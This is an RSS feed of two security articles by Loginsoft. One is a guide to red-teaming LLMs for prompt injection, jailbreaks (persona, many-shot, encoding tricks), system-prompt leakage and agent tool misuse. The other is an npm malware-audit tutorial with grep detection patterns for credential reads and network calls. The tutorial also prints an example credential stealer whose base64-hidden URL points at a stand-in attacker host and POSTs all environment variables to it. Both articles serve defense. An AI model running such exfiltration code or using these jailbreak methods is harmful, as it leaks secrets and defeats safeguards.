<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Loginsoft</title>
    <description>The latest articles on DEV Community by Loginsoft (@loginsoft).</description>
    <link>https://dev.to/loginsoft</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3926501%2Fbdd9a07e-4198-49bc-8291-eedafafbc222.png</url>
      <title>DEV Community: Loginsoft</title>
      <link>https://dev.to/loginsoft</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/loginsoft"/>
    <language>en</language>
    <item>
      <title>LLM Red Teaming: How to Test Your AI for Prompt Injection, Jailbreaks, and Data Leakage</title>
      <dc:creator>Loginsoft</dc:creator>
      <pubDate>Fri, 28 Aug 2026 04:29:29 +0000</pubDate>
      <link>https://dev.to/loginsoft/llm-red-teaming-how-to-test-your-ai-for-prompt-injection-jailbreaks-and-data-leakage-2p91</link>
      <guid>https://dev.to/loginsoft/llm-red-teaming-how-to-test-your-ai-for-prompt-injection-jailbreaks-and-data-leakage-2p91</guid>
      <description>&lt;p&gt;Every security team knows how to test a web application. Scan the code, fuzz the inputs, check the auth flows. That playbook is decades old. “LLMs fundamentally change the security testing model.” &lt;/p&gt;

&lt;p&gt;When your product is powered by a large language model, the attack surface extends far beyond the codebase. It is a probabilistic system responding to unbounded natural language, connected to tools and APIs, and manipulable through the very content it is designed to process. Traditional scanners do not find these vulnerabilities. And the failure modes, leaking a system prompt, executing injected instructions from a malicious document, bypassing safety alignment on demand, are not typically represented as conventional CVE entries. &lt;/p&gt;

&lt;p&gt;This is why LLM red teaming, a specialized form of LLM security testing, exists. For cybersecurity teams, security engineers, and AI/platform engineers shipping AI-powered products, understanding it is no longer optional. &lt;/p&gt;

&lt;h2&gt;
  
  
  What Is LLM Red Teaming?
&lt;/h2&gt;

&lt;p&gt;LLM red teaming is the structured practice of testing LLM-powered systems with adversarial inputs to identify security vulnerabilities, safety failures, and policy violations before and after production deployment. &lt;/p&gt;

&lt;p&gt;LLM security testing accounts for the probabilistic nature of model behavior. A jailbreak may succeed in some runs and fail in others, making repeated testing essential. Track Attack Success Rate (ASR) rather than relying on a single pass/fail result.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ASR = Successful attack outcomes ÷ Total attempts&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;For example, if a jailbreak succeeds in 37 of 100 attempts, its ASR is 37%. Security teams can compare ASR across attack types, mitigations, and model versions. However, ASR measures exploitability, not business impact, so findings should also be prioritized by severity and potential impact. &lt;/p&gt;

&lt;p&gt;LLM red teaming can be organized around four practical testing areas: &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alignment layer:&lt;/strong&gt; Tests jailbreaks, persona injection, and many-shot manipulation that attempt to bypass safety controls. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Instruction-following layer:&lt;/strong&gt; Tests prompt injection and other attacks that attempt to override intended instructions. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inference boundary:&lt;/strong&gt; Tests indirect prompt injection through RAG content and tool-call manipulation in agentic systems. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Context and representation:&lt;/strong&gt; Tests long-context behavior, tokenization of edge cases, encoding, and obfuscation techniques. &lt;/p&gt;

&lt;p&gt;Evaluation can combine deterministic checks, automated evaluators, human review, or secondary LLM judges, each of which can introduce false positives or false negatives. OWASP GenAI LLM Top 10 and MITRE ATLAS provide useful taxonomies for organizing and evaluating these attacks. &lt;/p&gt;

&lt;h2&gt;
  
  
  How LLM Red Teaming Differs from Traditional Penetration Testing
&lt;/h2&gt;

&lt;p&gt;Traditional penetration testing often targets deterministic application behavior: a SQL injection either exposes unauthorized data, or it does not. LLM red teaming is different because model behavior is probabilistic and depends on training, alignment, and context. The same attack may succeed in one run and fail in another, requiring continuous and statistical evaluation rather than point-in-time testing. &lt;/p&gt;

&lt;h2&gt;
  
  
  Common LLM Attack Vectors
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Prompt Injection
&lt;/h3&gt;

&lt;p&gt;Prompt injection uses crafted inputs to manipulate an LLM into deviating from its intended instructions or following attacker-controlled instructions embedded in content it processes. &lt;/p&gt;

&lt;p&gt;Direct prompt injection targets user inputs, while indirect prompt injection places malicious instructions in external content such as documents, emails, web pages, or database records. This makes indirect injection a key security concern for RAG applications and agentic AI systems. &lt;/p&gt;

&lt;p&gt;MITRE ATLAS tracks prompt injection as LLM Prompt Injection (AML.T0051), including indirect injection techniques. &lt;/p&gt;

&lt;h3&gt;
  
  
  2. Jailbreaks
&lt;/h3&gt;

&lt;p&gt;Jailbreaks attempt to bypass an LLM's safety controls and produce content the model is designed to refuse. Common approaches include: &lt;/p&gt;

&lt;p&gt;Persona attacks: Attempt to make the model adopt an unrestricted identity. &lt;/p&gt;

&lt;p&gt;Many-shot attacks: Use large numbers of fabricated examples to influence model behavior. &lt;/p&gt;

&lt;p&gt;Encoding and obfuscation: Use Base64, Unicode, character substitution, or multilingual transformations to evade filters. &lt;/p&gt;

&lt;p&gt;Jailbreak effectiveness varies across models and defensive architectures, making repeated testing important. &lt;/p&gt;

&lt;h3&gt;
  
  
  3. Data Leakage
&lt;/h3&gt;

&lt;p&gt;LLM data leakage testing evaluates whether a model exposes information it should not be revealed. Key categories include: &lt;/p&gt;

&lt;p&gt;System prompt disclosure: Extraction of hidden instructions, policies, or tool definitions. &lt;/p&gt;

&lt;p&gt;Context and RAG leakage: Exposure of retrieved documents, session data, or another protected context. &lt;/p&gt;

&lt;p&gt;Training-data extraction: Attempts to reproduce memorized information from training or fine-tuning data. &lt;/p&gt;

&lt;p&gt;These risks should be evaluated separately because their security impact and appropriate mitigations differ. &lt;/p&gt;

&lt;h3&gt;
  
  
  4. Agent and API Misuse
&lt;/h3&gt;

&lt;p&gt;When an LLM can access tools, APIs, files, or external systems, successful attacks can result in actions beyond text generation, including unauthorized data access, API calls, email transmission, or file deletion. &lt;/p&gt;

&lt;p&gt;Security testing should therefore monitor tool identity, caller identity, parameters, authorization status, data destinations, action reversibility, and results. &lt;/p&gt;

&lt;h2&gt;
  
  
  Defenses for LLM Applications
&lt;/h2&gt;

&lt;p&gt;Effective LLM security requires multiple layers of protection. A system prompt is not a security boundary; application and infrastructure controls must enforce security independently. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key defenses include:&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Separate trusted and untrusted content: Treat retrieved documents and external content as untrusted data, not executable instructions. &lt;/li&gt;
&lt;li&gt;Apply least privilege: Give AI agents only the tools and permissions required for their tasks. &lt;/li&gt;
&lt;li&gt;Validate tool arguments independently: Enforce authorization and parameter validation at the application layer before tool execution. &lt;/li&gt;
&lt;li&gt;Validate model outputs: Treat LLM-generated output as untrusted and validate it before passing it to APIs, databases, shells, or other interpreters. &lt;/li&gt;
&lt;li&gt;Run statistical security tests in CI: Execute LLM red-team probes repeatedly, track Attack Success Rate (ASR) by attack category, and rerun tests whenever the model, prompts, retrieval pipeline, or tool integrations change.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This approach turns LLM red teaming from a pre-production security check into continuous AI security testing throughout the development lifecycle. &lt;/p&gt;

&lt;h2&gt;
  
  
  Securing RAG Pipelines
&lt;/h2&gt;

&lt;p&gt;RAG security requires additional controls because retrieved content may contain attacker-controlled instructions that attempt to influence model behavior. Key practices include: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Treat retrieved documents as untrusted content and keep them separate from system instructions. &lt;/li&gt;
&lt;li&gt;Enforce authorization at the data-access layer, before retrieval, rather than relying on the LLM. &lt;/li&gt;
&lt;li&gt;Never allow retrieved content to directly define tool parameters. &lt;/li&gt;
&lt;li&gt;Log the complete retrieval-to-tool-call chain for auditing. &lt;/li&gt;
&lt;li&gt;Continuously test RAG pipelines with malicious documents and adversarial inputs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Building an LLM Red Teaming Program
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;A structured LLM red teaming program can follow six steps:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Define assets:&lt;/strong&gt; Identify system prompts, secrets, PII, retrieval data, API credentials, tools, and high-impact actions. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Define attack categories:&lt;/strong&gt; Map the application to OWASP LLM Top 10 and MITRE ATLAS, prioritizing indirect injection and tool misuse for agentic systems. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build a probe corpus:&lt;/strong&gt; Use datasets such as AdvBench, HarmBench, and JailbreakBench, supplemented with application-specific probes. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Run statistical trials:&lt;/strong&gt; Execute probes repeatedly and measure Attack Success Rate (ASR) instead of relying on single-run results. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Evaluate impact:&lt;/strong&gt; Prioritize findings based on data disclosure, unauthorized actions, privilege escalation, and other business impacts. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Remediate and regression test:&lt;/strong&gt; Update controls, permissions, prompts, and filters, then rerun the probe suite to verify fixes and detect regressions. &lt;/p&gt;

&lt;h2&gt;
  
  
  LLM Red Teaming Tools
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Garak:&lt;/strong&gt; Automated probing for prompt injection, jailbreaks, and data leakage. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Microsoft PyRIT:&lt;/strong&gt; Multi-turn adversarial testing and orchestrated attack strategies for enterprise red team programs. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Promptfoo:&lt;/strong&gt; LLM regression testing with CI/CD integration and LLM-as-judge evaluation. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion:
&lt;/h2&gt;

&lt;p&gt;LLM red teaming extends traditional application security into probabilistic, language-driven systems, helping identify risks such as prompt injection, jailbreaks, data leakage, and unauthorized tool actions. By combining systematic adversarial testing, layered defenses, and continuous evaluation, organizations can make red teaming part of the broader AI security lifecycle. Loginsoft’s AI Model Validation service supports LLM-powered applications through adversarial testing, safety benchmarking, agentic system security reviews, and continuous red team automation. &lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;How is it different from penetration testing?&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Traditional pen testing targets deterministic code paths with a clear pass/fail. LLM red teaming targets probabilistic model behavior, so findings are tracked as an Attack Success Rate across many runs, not a single result. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What are the most common attacks?&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Direct and indirect prompt injection, jailbreaks (persona attacks, many-shot, encoding), data leakage (system prompt, context/RAG, training data), and agent or API misuse. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do you test for prompt injection?&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Run both direct probes against the user input channel and indirect probes via documents, web pages, or other retrieved content the model processes, then assess whether protected content was disclosed or unauthorized actions occurred, rather than relying only on keyword matches. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What tools support LLM red teaming?&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;Garak, Microsoft PyRIT, and Promptfoo are widely used options; see the comparison above. &lt;/p&gt;

</description>
      <category>security</category>
      <category>llm</category>
      <category>ai</category>
      <category>devsecops</category>
    </item>
    <item>
      <title>How to Audit a npm Package for Malware in 10 Minutes</title>
      <dc:creator>Loginsoft</dc:creator>
      <pubDate>Tue, 18 Aug 2026 12:13:18 +0000</pubDate>
      <link>https://dev.to/loginsoft/how-to-audit-a-npm-package-for-malware-in-10-minutes-2dfn</link>
      <guid>https://dev.to/loginsoft/how-to-audit-a-npm-package-for-malware-in-10-minutes-2dfn</guid>
      <description>&lt;p&gt;You are about to run npm install some-package and hand a stranger's code full access to your machine, your environment variables, and your CI pipeline. Last year alone, hundreds of malicious packages were caught on npm, many of them typosquats of popular libraries that stole credentials the moment they were installed. &lt;/p&gt;

&lt;p&gt;This is a 10-minute manual audit workflow for any npm package you do not fully trust. It is written for JavaScript and Node.js developers, DevOps engineers, and anyone reviewing dependencies in a security-sensitive codebase. No paid tools required, just your terminal. &lt;/p&gt;

&lt;p&gt;Set a timer. Let's go. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 0 to 1: Never install first. Inspect the metadata.
&lt;/h2&gt;

&lt;p&gt;The most important rule: do not install the package to inspect it. Malicious code usually runs at install time, not at import time. Start with metadata:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash 

npm view lodash-utilz 

Look at four things &lt;span class="k"&gt;in &lt;/span&gt;the output: 

lodash-utilz@1.0.3 | MIT | deps: 2 | versions: 3 

dist-tags: 
latest: 1.0.3 

published 2 days ago by newdev4821 newdev4821@protonmail.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Red flags to catch here:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Very young package or very few versions. A "utility" library with 3 versions published in the last week is suspicious. &lt;/p&gt;

&lt;p&gt;Name that looks almost like a popular package. lodash-utilz, reakt-dom, crossenv. Typosquatting is the number one delivery method. &lt;/p&gt;

&lt;p&gt;Maintainer mismatch. A brand new email publishing a package that claims to belong to a known project. &lt;/p&gt;

&lt;p&gt;Sudden maintainer change on an old package. Check with npm view  maintainers and compare against the GitHub repo. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 1 to 3: Check the install scripts
&lt;/h2&gt;

&lt;p&gt;This is where most npm malware lives. Lifecycle scripts like preinstall, install, and postinstall execute arbitrary shell commands on your machine automatically during npm install. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pull the manifest straight from the registry:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash 

npm view lodash-utilz &lt;span class="nt"&gt;--json&lt;/span&gt; | node &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;" 
const pkg = JSON.parse(require('fs').readFileSync(0, 'utf8')); 
console.log(JSON.stringify(pkg.scripts, null, 2)); 
"&lt;/span&gt; 

A malicious result looks like this:

json 

&lt;span class="o"&gt;{&lt;/span&gt; 
  &lt;span class="s2"&gt;"postinstall"&lt;/span&gt;: &lt;span class="s2"&gt;"node ./lib/setup.js"&lt;/span&gt; 
&lt;span class="o"&gt;}&lt;/span&gt; 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An innocent-looking setup.js reference is exactly how credential stealers hide. Legitimate packages that genuinely need install scripts (native builds like node-gyp, binary downloads like esbuild) are well known. A random utility library has no reason to run anything at install time. &lt;/p&gt;

&lt;p&gt;Quick heuristic: any post install script in a small, unknown package is guilty until proven innocent. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 3 to 5: Download the tarball without installing
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;npm pack downloads exactly what the registry serves, with zero script execution:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;bash&lt;/span&gt;&lt;span class="w"&gt; 

&lt;/span&gt;&lt;span class="err"&gt;mkdir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/tmp/audit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;/tmp/audit&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;npm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;pack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;lodash-utilz&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;tar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-xzf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;lodash-utilz&lt;/span&gt;&lt;span class="mf"&gt;-1.0&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="err"&gt;.tgz&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;package&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;span class="err"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-laR&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why this matters: the code on GitHub and the code on npm are not guaranteed to match. Attackers routinely publish a clean repo and a poisoned tarball. Always audit the tarball, never the repo. &lt;/p&gt;

&lt;p&gt;While you are here, check for files that should not exist: .env, unexplained .node binaries, minified blobs in a package that claims to ship readable sources. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 5 to 8: Grep for the classic malware patterns
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;You now have the real shipped code on disk. Run this pattern sweep:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"eval&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|Function&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|child_process|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;exec&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|spawn&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"process&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;env|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;npmrc|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;ssh|&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;aws|hosts"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"http&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;request|https&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;request|fetch&lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="s2"&gt;|XMLHttpRequest|dns&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;resolve"&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt; 

&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*.js"&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;
  &lt;span class="s2"&gt;"base64|fromCharCode|&lt;/span&gt;&lt;span class="se"&gt;\\\\&lt;/span&gt;&lt;span class="s2"&gt;x[0-9a-f]{2}"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What each sweep catches:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Dynamic execution: eval, new Function, child_process. A string-manipulation library has no business spawning shells. &lt;/p&gt;

&lt;p&gt;Sensitive reads: code touching process.env, .npmrc (your npm token lives there), .ssh, or .aws directories. &lt;/p&gt;

&lt;p&gt;Network exfiltration: outbound requests to hardcoded IPs or unfamiliar domains. Ask yourself: why does this package phone home at all? &lt;/p&gt;

&lt;p&gt;Obfuscation: long base64 strings, String.fromCharCode chains, hex-escaped strings. Legitimate open source has no reason to hide its logic. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real-world example of what you might find:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;js 

// lib/setup.js 
const h &lt;span class="o"&gt;=&lt;/span&gt; Buffer.from&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'aHR0cHM6Ly9ldmlsLmV4YW1wbGUvYw=='&lt;/span&gt;, &lt;span class="s1"&gt;'base64'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.toString&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
require&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'https'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.request&lt;span class="o"&gt;(&lt;/span&gt;h, &lt;span class="o"&gt;{&lt;/span&gt; method: &lt;span class="s1"&gt;'POST'&lt;/span&gt; &lt;span class="o"&gt;})&lt;/span&gt; 
  .end&lt;span class="o"&gt;(&lt;/span&gt;JSON.stringify&lt;span class="o"&gt;(&lt;/span&gt;process.env&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is your entire environment, including CI secrets and npm tokens, POSTed to an attacker. Two lines. This is why the grep sweep takes priority over reading every file. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 8 to 9: Diff the dependency tree
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Malware also arrives transitively. Before adding the package, preview what it drags in:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;bash&lt;/span&gt; 

&lt;span class="nx"&gt;npm&lt;/span&gt; &lt;span class="nx"&gt;install&lt;/span&gt; &lt;span class="nx"&gt;lodash&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;utilz&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;dry&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;run&lt;/span&gt; 

&lt;span class="nx"&gt;Then&lt;/span&gt; &lt;span class="nx"&gt;check&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;tree&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nx"&gt;anything&lt;/span&gt; &lt;span class="nx"&gt;unexpected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; 

&lt;span class="nx"&gt;bash&lt;/span&gt; 

&lt;span class="nx"&gt;npm&lt;/span&gt; &lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;lodash&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;utilz&lt;/span&gt; &lt;span class="nx"&gt;dependencies&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A tiny helper library pulling in 40 transitive dependencies, or depending on another unknown week-old package, deserves a hard pass. &lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 9 to 10: Run the automated second opinion
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Finish with tooling that checks the package against known-bad databases:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;bash &lt;/p&gt;

&lt;p&gt;Checks against the OSV and GitHub advisory databases &lt;br&gt;
npx osv-scanner --lockfile package-lock.json &lt;/p&gt;

&lt;p&gt;Interactive pre-install gate: audits BEFORE installing &lt;br&gt;
npx npq install lodash-utilz &lt;/p&gt;

&lt;p&gt;For ongoing protection, wire one of these into CI so every pull request that touches package.json gets the same scrutiny automatically. Socket, OSV-Scanner, and npm audit signatures (which verifies registry provenance) all run cleanly in GitHub Actions. &lt;/p&gt;

&lt;h2&gt;
  
  
  The 10-minute checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Copy this into your team wiki:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;[ ] npm view: age, versions, maintainer, name typos &lt;br&gt;
[ ] Manifest: any preinstall/install/postinstall scripts? &lt;br&gt;
[ ] npm pack: audit the tarball, not the GitHub repo &lt;br&gt;
[ ] Grep sweep: eval, child_process, env reads, network, base64 &lt;br&gt;
[ ] Dependency tree: --dry-run before real install &lt;br&gt;
[ ] Automated scan: osv-scanner or npq as second opinion &lt;/p&gt;

&lt;p&gt;Ten minutes of friction versus a leaked AWS key and a rotated-credentials fire drill. Easy trade. &lt;/p&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;This manual workflow catches the common 90 percent. Supply chain attacks like dependency confusion, compromised maintainer accounts, and build-pipeline injection need deeper coverage: registry provenance verification, lockfile pinning policy, and continuous monitoring of your full dependency graph. &lt;/p&gt;

&lt;p&gt;What is your team's process for vetting new dependencies? Drop it in the comments, genuinely curious what gates other teams use.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>python</category>
      <category>npm</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
